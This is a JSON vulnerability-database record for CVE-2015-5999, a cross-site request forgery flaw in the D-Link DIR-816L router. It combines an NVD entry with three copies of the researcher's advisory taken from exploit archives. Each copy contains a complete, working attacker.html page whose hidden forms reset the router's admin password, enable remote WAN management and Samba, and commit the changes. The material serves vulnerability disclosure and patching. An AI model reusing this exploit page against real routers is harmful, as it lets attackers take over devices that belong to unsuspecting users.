{"cve": [{"lastseen": "2019-05-29T18:14:43", "bulletinFamily": "NVD", "description": "Multiple cross-site request forgery (CSRF) vulnerabilities in the D-Link DIR-816L Wireless Router with firmware before 2.06.B09_BETA allow remote attackers to hijack the authentication of administrators for requests that (1) change the admin password, (2) change the network policy, or (3) possibly have other unspecified impact via crafted requests to hedwig.cgi and pigwidgeon.cgi.", "modified": "2018-10-09T19:57:00", "id": "CVE-2015-5999", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-5999", "published": "2015-11-18T16:59:00", "title": "CVE-2015-5999", "type": "cve", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2016-12-05T22:14:40", "bulletinFamily": "exploit", "description": "", "modified": "2015-11-16T00:00:00", "published": "2015-11-16T00:00:00", "href": "https://packetstormsecurity.com/files/134379/D-Link-DIR-816L-Cross-Site-Request-Forgery.html", "id": "PACKETSTORM:134379", "type": "packetstorm", "title": "D-Link DIR-816L Cross Site Request Forgery", "sourceData": "` \nTitle: \n==== \n \nD-link wireless router DIR-816L \u0096 Cross-Site Request Forgery (CSRF) vulnerability \n \nCredit: \n====== \n \nName: Bhadresh Patel \nCompany/affiliation: HelpAG \nWebsite: www.helpag.com \n \nCVE: \n===== \n \nCVE-2015-5999 \n \nDate: \n==== \n \n10-11-2015 (dd/mm/yyyy) \n \nVendor: \n====== \n \nD-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services. \n \nProduct: \n======= \n \nDIR-816L is a wireless AC750 Dual Band Cloud Router \n \nProduct link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L \n \n \nAbstract: \n======= \n \nCross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated. \n \nReport-Timeline: \n============ \n27-07-2015: Vendor notification \n27-07-2015: Vendor Response/Feedback \n05-11-2015: Vendor Fix/Patch \n10-11-2015: Public or Non-Public Disclosure \n \n \nAffected Version: \n============= \n \n<=2.06.B01 \n \nExploitation-Technique: \n=================== \n \nRemote \n \n \nSeverity Rating: \n=================== \n \n7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C) \n \n \nDetails: \n======= \n \nAn attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc. \n \n \nProof Of Concept: \n================ \n \n1) User login to DIR-816L wireless router \n \n2) User visits the attacker's malicious web page (attacker.html) \n \n3) attacker.html exploits CSRF vulnerability and changes the admin account password \n \nPoC video link: http://youtu.be/UBdR2sUc8Wg \n \nExploit code (attacker.html): \n \n<html> \n<body> \n \n<iframe style=\"display:none\" name=\"hiddenpost\"></iframe> \n \n<form action=\"http://192.168.0.1/hedwig.cgi\" method=\"POST\" enctype=\"text/plain\" target=\"hiddenpost\" id=\"csrf\"> \n \n<input type=\"hidden\" name=\"<?xml version\" value=\"\"1.0\" encoding=\"UTF-8\"?> \n<postxml> \n<module> \n<service>DEVICE.ACCOUNT</service> \n<device> \n<gw_name>DIR-816L</gw_name> \n \n<account> \n<seqno>1</seqno> \n<max>2</max> \n<count>1</count> \n<entry> \n<uid>USR-</uid> \n<name>Admin</name> \n<usrid/> \n<password>password</password> \n<group>0</group> \n<description/> \n</entry> \n</account> \n<group> \n<seqno/> \n& \n#9;<max/> \n<count>0</count> \n</group> \n<session> \n<captcha>1</captcha> \n<dummy/> \n<timeout>180</timeout> \n<maxsession>128</maxsession> \n<maxauthorized>16</maxauthorized> \n</session> \n</device> \n</module> \n<module> \n<service>HTTP.WAN-1</service> \n<inf> \n<web></web> \n<https_rport></https_rport> \n<stunnel>1</stunnel> \n<weballow> \n<hostv4ip/> \n</weballow> \n<inbfilter/> \n</inf> \n \n</module> \n<module> \n<service>HTTP.WAN- \n;2</service> \n<inf> \n<a! \nctive> \n;0</active> \n<nat>NAT-1</nat> \n<web/> \n<weballow> \n<hostv4ip/> \n</weballow> \n</inf> \n \n</module> \n<module> \n<service>INBFILTER</service> \n<acl> \n<inbfilter> \n<seqno>1</seqno> \n<max>24</max> \n<count>0</count> \n \n</inbfilter> \n</acl> \n<ACTIVATE>ignore</ACTIVATE> \n<FATLADY>ignore</FATLADY><SETCFG>ignore</SETCFG></module> \n<module> \n<service>SHAREPORT</service> \n<FATLADY>ignore</FATLADY> \n \n<ACTIVATE>ignore</ACTIVATE></module> \n<module> \n \n<service>SAMBA</service> \n<samba> \n \n<enable>1</enable> \n<auth>1</auth> \n \n</samba> \n</module> \n</postxml>\" /> \n \n</form> \n \n<script>alert(\"This is CSRF PoC\");document.getElementById(\"csrf\").submit()</script> \n \n<iframe style=\"display:none\" name=\"hiddencommit\"></iframe> \n \n<form action=\"http://192.168.0.1/pigwidgeon.cgi\" method=\"POST\" target=\"hiddencommit\" id=\"csrf1\"> \n \n<input type=\"hidden\" name=\"ACTIONS\" value=\"SETCFG,SAVE,ACTIVATE\" /> \n \n</form> \n<script>document.getElementById(\"csrf1\").submit()</script> \n \n</body> \n</html> \n \n \n \nPatched/Fixed Firmware and notes: \n========================== \n \n2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP \n \n2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF \n \n \n \nCredits: \n======= \n \nBhadresh Patel \nSecurity Analyst \nHelpAG (www.helpag.com) \n \n`\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/134379/DIR816L-xsrf.txt"}], "exploitdb": [{"lastseen": "2016-02-04T08:41:15", "bulletinFamily": "exploit", "description": "D-link Wireless Router DIR-816L \u2013 CSRF Vulnerability. CVE-2015-5999. Webapps exploit for hardware platform", "modified": "2015-11-16T00:00:00", "published": "2015-11-16T00:00:00", "id": "EDB-ID:38707", "href": "https://www.exploit-db.com/exploits/38707/", "type": "exploitdb", "title": "D-link Wireless Router DIR-816L \u2013 CSRF Vulnerability", "sourceData": "----------------------------------------------------------------------------------------------\r\n\r\nTitle:\r\n====\r\n\r\nD-link wireless router DIR-816L \u00e2\u20ac\u201c Cross-Site Request Forgery (CSRF) vulnerability\r\n\r\nCredit:\r\n======\r\n\r\nName: Bhadresh Patel\r\nCompany/affiliation: HelpAG\r\nWebsite: www.helpag.com\r\n\r\nCVE:\r\n=====\r\nCVE-2015-5999\r\n\r\nDate:\r\n====\r\n\r\n10-11-2015 (dd/mm/yyyy)\r\n\r\nVendor:\r\n======\r\nD-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.\r\n\r\nProduct:\r\n=======\r\nDIR-816L is a wireless AC750 Dual Band Cloud Router\r\n\r\nProduct link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L\r\n\r\n\r\nAbstract:\r\n=======\r\n\r\nCross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.\r\n\r\nReport-Timeline:\r\n============\r\n27-07-2015: Vendor notification\r\n27-07-2015: Vendor Response/Feedback\r\n05-11-2015: Vendor Fix/Patch\r\n10-11-2015: Public or Non-Public Disclosure\r\nAffected Version:\r\n=============\r\n<=2.06.B01\r\n\r\nExploitation-Technique:\r\n===================\r\nRemote\r\n\r\nSeverity Rating:\r\n===================\r\n\r\n7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)\r\nDetails:\r\n=======\r\nAn attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.\r\n\r\n\r\nProof Of Concept:\r\n================\r\n\r\n1) User login to DIR-816L wireless router\r\n2) User visits the attacker's malicious web page (attacker.html)\r\n3) attacker.html exploits CSRF vulnerability and changes the admin account password\r\nPoC video link: http://youtu.be/UBdR2sUc8Wg\r\nExploit code (attacker.html):\r\n<html>\r\n<body>\r\n<iframe style=\"display:none\" name=\"hiddenpost\"></iframe>\r\n<form action=\"http://192.168.0.1/hedwig.cgi\" method=\"POST\" enctype=\"text/plain\" target=\"hiddenpost\" id=\"csrf\">\r\n<input type=\"hidden\" name=\"<?xml version\" value=\"\"1.0\" encoding=\"UTF-8\"?> <postxml> <module> 	<service>DEVICE.ACCOUNT</service> 	<device> 		<gw_name>DIR-816L</gw_name> 		 		<account> 			<seqno>1</seqno> 			<max>2</max> 			<count>1</count> 			<entry> 				<uid>USR-</uid> 				<name>Admin</name> 				<usrid/> 				<password>password</password> 				<group>0</group> 				<description/> 			</entry> 		</account> 		<group> 			<seqno/> 			<max/> 			<count>0</count> 		</group> 		<session> 			<captcha>1</captcha> 			<dummy/> 			<timeout>180</timeout> 			<maxsession>128</maxsession> 			<maxauthorized>16</maxauthorized> 		</session> 	</device> </module> <module> 	<service>HTTP.WAN-1</service> 	<inf> 		<web></web> 		<https_rport></https_rport> 		<stunnel>1</stunnel> 		<weballow> 			<hostv4ip/> 		</weballow> 		<inbfilter/> 	</inf> 	 </module> <module> 	<service>HTTP.WAN-2</service> 	<inf> 		<active>0</active> 		<nat>NAT-1</nat> 		<web/> 		<weballow> 			<hostv4ip/> 		</weballow> 	</inf> 	 </module> <module> 	<service>INBFILTER</service> 	<acl> 		<inbfilter>		 						<seqno>1</seqno> 			<max>24</max> 			<count>0</count> 		</inbfilter>		 	</acl> 	<ACTIVATE>ignore</ACTIVATE> <FATLADY>ignore</FATLADY><SETCFG>ignore</SETCFG></module> <module> 	<service>SHAREPORT</service> 	<FATLADY>ignore</FATLADY> 	 <ACTIVATE>ignore</ACTIVATE></module> <module> 	<service>SAMBA</service> 	<samba>		 		     		<enable>1</enable> 		<auth>1</auth>     </samba> </module> </postxml>\" />\r\n</form>\r\n<script>alert(\"This is CSRF PoC\");document.getElementById(\"csrf\").submit()</script>\r\n<iframe style=\"display:none\" name=\"hiddencommit\"></iframe>\r\n<form action=\"http://192.168.0.1/pigwidgeon.cgi\" method=\"POST\" target=\"hiddencommit\" id=\"csrf1\">\r\n<input type=\"hidden\" name=\"ACTIONS\" value=\"SETCFG,SAVE,ACTIVATE\" />\r\n</form>\r\n<script>document.getElementById(\"csrf1\").submit()</script>\r\n\r\n</body>\r\n</html>\r\nPatched/Fixed Firmware and notes:\r\n==========================\r\n2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP\r\n2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF\r\n\r\nCredits:\r\n=======\r\nBhadresh Patel\r\nSenior Security Analyst\r\nHelpAG (www.helpag.com)\r\n----------------------------------------------------------------------------------------------", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/38707/"}], "zdt": [{"lastseen": "2018-04-03T21:36:00", "bulletinFamily": "exploit", "description": "D-Link DIR-816L suffers from a cross site request forgery vulnerability.", "modified": "2015-11-16T00:00:00", "published": "2015-11-16T00:00:00", "id": "1337DAY-ID-24552", "href": "https://0day.today/exploit/description/24552", "type": "zdt", "title": "D-Link DIR-816L Cross Site Request Forgery Vulnerability", "sourceData": "Title:\r\n====\r\n\r\nD-link wireless router DIR-816L \u2013 Cross-Site Request Forgery (CSRF) vulnerability\r\n\r\nCredit:\r\n======\r\n\r\nName: Bhadresh Patel\r\nCompany/affiliation: HelpAG\r\nWebsite: www.helpag.com\r\n\r\nCVE:\r\n=====\r\n\r\nCVE-2015-5999\r\n\r\nDate:\r\n====\r\n\r\n10-11-2015 (dd/mm/yyyy)\r\n\r\nVendor:\r\n======\r\n\r\nD-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.\r\n\r\nProduct:\r\n=======\r\n\r\nDIR-816L is a wireless AC750 Dual Band Cloud Router\r\n\r\nProduct link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L\r\n\r\n\r\nAbstract:\r\n=======\r\n\r\nCross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.\r\n\r\nReport-Timeline:\r\n============\r\n27-07-2015: Vendor notification\r\n27-07-2015: Vendor Response/Feedback\r\n05-11-2015: Vendor Fix/Patch\r\n10-11-2015: Public or Non-Public Disclosure\r\n\r\n\r\nAffected Version:\r\n=============\r\n\r\n<=2.06.B01\r\n\r\nExploitation-Technique:\r\n===================\r\n\r\nRemote\r\n\r\n\r\nSeverity Rating:\r\n===================\r\n\r\n7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)\r\n\r\n\r\nDetails:\r\n=======\r\n\r\nAn attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.\r\n\r\n\r\nProof Of Concept:\r\n================\r\n\r\n1) User login to DIR-816L wireless router\r\n\r\n2) User visits the attacker's malicious web page (attacker.html)\r\n\r\n3) attacker.html exploits CSRF vulnerability and changes the admin account password\r\n\r\nPoC video link: http://youtu.be/UBdR2sUc8Wg\r\n\r\nExploit code (attacker.html):\r\n\r\n<html>\r\n<body>\r\n\r\n<iframe style=\"display:none\" name=\"hiddenpost\"></iframe>\r\n\r\n<form action=\"http://192.168.0.1/hedwig.cgi\" method=\"POST\" enctype=\"text/plain\" target=\"hiddenpost\" id=\"csrf\">\r\n\r\n<input type=\"hidden\" name=\"<?xml version\" value=\"\"1.0\" encoding=\"UTF-8\"?>\r\n<postxml>\r\n<module>\r\n\t<service>DEVICE.ACCOUNT</service>\r\n\t<device>\r\n\t\t<gw_name>DIR-816L</gw_name>\r\n\t\t\r\n\t\t<account>\r\n\t\t\t<seqno>1</seqno>\r\n\t\t\t<max>2</max>\r\n\t\t\t<count>1</count>\r\n\t\t\t<entry>\r\n\t\t\t\t<uid>USR-</uid>\r\n\t\t\t\t<name>Admin</name>\r\n\t\t\t\t<usrid/>\r\n\t\t\t\t<password>password</password>\r\n\t\t\t\t<group>0</group>\r\n\t\t\t\t<description/>\r\n\t\t\t</entry>\r\n\t\t</account>\r\n\t\t<group>\r\n\t\t\t<seqno/>\r\n\t\t&\r\n #9;<max/>\r\n\t\t\t<count>0</count>\r\n\t\t</group>\r\n\t\t<session>\r\n\t\t\t<captcha>1</captcha>\r\n\t\t\t<dummy/>\r\n\t\t\t<timeout>180</timeout>\r\n\t\t\t<maxsession>128</maxsession>\r\n\t\t\t<maxauthorized>16</maxauthorized>\r\n\t\t</session>\r\n\t</device>\r\n</module>\r\n<module>\r\n\t<service>HTTP.WAN-1</service>\r\n\t<inf>\r\n\t\t<web></web>\r\n\t\t<https_rport></https_rport>\r\n\t\t<stunnel>1</stunnel>\r\n\t\t<weballow>\r\n\t\t\t<hostv4ip/>\r\n\t\t</weballow>\r\n\t\t<inbfilter/>\r\n\t</inf>\r\n\t\r\n</module>\r\n<module>\r\n\t<service>HTTP.WAN-\r\n ;2</service>\r\n\t<inf>\r\n\t\t<a!\r\n ctive>\r\n;0</active>\r\n\t\t<nat>NAT-1</nat>\r\n\t\t<web/>\r\n\t\t<weballow>\r\n\t\t\t<hostv4ip/>\r\n\t\t</weballow>\r\n\t</inf>\r\n\t\r\n</module>\r\n<module>\r\n\t<service>INBFILTER</service>\r\n\t<acl>\r\n\t\t<inbfilter>\t\t\r\n\t\t\t\t\t\t<seqno>1</seqno>\r\n\t\t\t<max>24</max>\r\n\t\t\t<count>0</count>\r\n\r\n\t\t</inbfilter>\t\t\r\n\t</acl>\r\n\t<ACTIVATE>ignore</ACTIVATE>\r\n<FATLADY>ignore</FATLADY><SETCFG>ignore</SETCFG></module>\r\n<module>\r\n\t<service>SHAREPORT</service>\r\n\t<FATLADY>ignore</FATLADY>\r\n\t\r\n<ACTIVATE>ignore</ACTIVATE></module>\r\n<module>\r\n \r\n\t<service>SAMBA</service>\r\n\t<samba>\t\t\r\n\t\t \r\n\t\t<enable>1</enable>\r\n\t\t<auth>1</auth>\r\n\r\n </samba>\r\n</module>\r\n</postxml>\" />\r\n\r\n</form>\r\n\r\n<script>alert(\"This is CSRF PoC\");document.getElementById(\"csrf\").submit()</script>\r\n\r\n<iframe style=\"display:none\" name=\"hiddencommit\"></iframe>\r\n\r\n<form action=\"http://192.168.0.1/pigwidgeon.cgi\" method=\"POST\" target=\"hiddencommit\" id=\"csrf1\">\r\n\r\n<input type=\"hidden\" name=\"ACTIONS\" value=\"SETCFG,SAVE,ACTIVATE\" />\r\n\r\n</form>\r\n<script>document.getElementById(\"csrf1\").submit()</script>\r\n\r\n</body>\r\n</html>\r\n\r\n\r\n\r\nPatched/Fixed Firmware and notes:\r\n==========================\r\n\r\n2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP\r\n\r\n2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF\n\n# 0day.today [2018-04-03] #", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://0day.today/exploit/24552"}]}